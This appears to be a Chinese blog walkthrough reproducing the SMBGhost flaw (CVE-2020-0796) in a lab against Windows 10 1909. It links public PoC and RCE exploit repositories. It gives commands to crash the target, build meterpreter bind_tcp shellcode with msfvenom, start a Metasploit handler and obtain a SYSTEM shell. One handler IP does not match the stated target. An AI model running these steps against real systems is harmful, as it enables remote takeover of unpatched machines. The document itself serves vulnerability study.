CVE-2020-0796（永恒之黑）复现，影响版本windws10，windos server2016

漏洞介绍

https://nvd.nist.gov/vuln/detail/CVE-2020-0796

漏洞影响版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server 2016, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server 2016, Version 1909 (Server Core installation)

漏洞复现

1.环境准备
windows 10 1909：ed2k://|file|cn_windows_10_business_editions_version_1909_updated_dec_2019_x64_dvd_262ac8af.iso|5301471232|FD9D7DD90D16FA14A682AEF49F8E712B|/
#下载完成后关闭自动更新

POC下载：https://github.com/eerykitty/CVE-2020-0796-PoC
getshell下载：https://github.com/chompie1337/SMBGhost_RCE_PoC

主机	ip
kali	192.168.252.128
windows 10 1909（关防火墙）	192.168.252.147

测试开始

上传测试脚本CVE-2020-0796-PoC-master和getshell到kali

进入poc执行测试脚本

python3 CVE-2020-0796.py 192.168.252.147

windows 10 蓝屏重启，说明存在漏洞。

使用msfvenom命令生成shellcode代码

msfconsole
msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f py -o shellcode.txt

复制shellcode.txt内容进入SMBGhost_RCE_PoC-master编辑exploit.py
将USER_PAYLOAD段全部删除

将刚刚shellcode.txt内容修改后复制进去
将buf


上传刚刚修改好的getshell到kali

进入kali中的msf模块打开监听模块

use exploit/multi/handler #选择监听模块
set payload windows/x64/meterpreter/bind_tcp #使用监听模块
set lport 4444  #监听端口
set rhost 192.168.205.134  # 目标主机
run #运行

新开一个kali的shell运行exploit.py反弹shell

如果这里执行不成功，多执行几次就行。
python3 exploit.py -ip 192.168.252.147

这里监听也是，如果不成功ctrl+c，重新运行几次就好了

这里已经成功获取windows 10 shell

chcp 65001 #解决乱码

查看权限发现是system权限，这个漏洞导致微软强制1909版本升级，还是比较大的漏洞了。